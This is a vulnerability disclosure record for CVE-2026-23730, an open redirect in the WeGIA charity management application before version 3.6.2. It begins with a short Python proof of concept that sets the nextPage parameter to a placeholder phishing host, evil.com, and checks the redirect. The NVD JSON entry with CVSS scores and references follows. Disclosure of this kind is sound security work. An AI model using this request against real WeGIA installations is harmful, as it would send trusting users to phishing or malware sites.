CVE-2026-23730

import requests # CVE-2026-23730 PoC - WeGIA Open Redirect # Target: WeGIA < 3.6.2 # Endpoint: /WeGIA/controle/control.php target_url = "http://target.com/WeGIA/controle/control.php" # Malicious redirect target malicious_url = "http://evil.com/phishing" # Construct exploit URL with nextPage parameter params = { "metodo": "listarTodos", "nomeClasse": "ProdutoControle", "nextPage": malicious_url } # Send crafted request response = requests.get(target_url, params=params, allow_redirects=False) # Check for Location header with malicious URL if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get("Location", "") if malicious_url in location: print("[+] Open Redirect Vulnerability Confirmed!") print(f"[+] Redirects to: {location}") else: print("[-] No redirect to malicious URL detected") else: print(f"[-] Unexpected status code: {response.status_code}")

{"cve": {"id": "CVE-2026-23730", "sourceIdentifier": "[email protected]", "published": "2026-01-16T20:15:51.183", "lastModified": "2026-01-30T18:30:19.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WeGIA is a web manager for charitable institutions. Prior to 3.6.2, an Open Redirect vulnerability was identified in the /WeGIA/controle/control.php endpoint of the WeGIA application, specifically through the nextPage parameter when combined with metodo=listarTodos and nomeClasse=ProdutoControle. The application fails to validate or restrict the nextPage parameter, allowing attackers to redirect users to arbitrary external websites. This can be abused for phishing attacks, credential theft, malware distribution, and social engineering using the trusted WeGIA domain. This vulnerability is fixed in 3.6.2."}, {"lang": "es", "value": "WeGIA es un gestor web para instituciones benéficas. Antes de 3.6.2, se encontró una vulnerabilidad de redirección abierta en el endpoint /WeGIA/controle/control.PHP de la aplicación WeGIA, específicamente a través del parámetro nextPage cuando se combina con metodo=listarTodos y nomeClasse=ProdutoControle. La aplicación no valida ni restringe el parámetro nextPage, permitiendo a los atacantes redirigir a los usuarios a sitios web externos arbitrarios. Esto puede ser explotado para ataques de phishing, robo de credenciales, distribución de malware e ingeniería social utilizando el dominio de confianza de WeGIA. Esta vulnerabilidad está corregida en 3.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wegia:wegia:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.2", "matchCriteriaId": "419B3A85-5754-4198-A73E-92A9DA8E7A68"}]}]}], "references": [{"url": "https://github.com/LabRedesCefetRJ/WeGIA/pull/1333", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/releases/tag/3.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/LabRedesCefetRJ/WeGIA/security/advisories/GHSA-6gx4-6gwv-cxc3", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}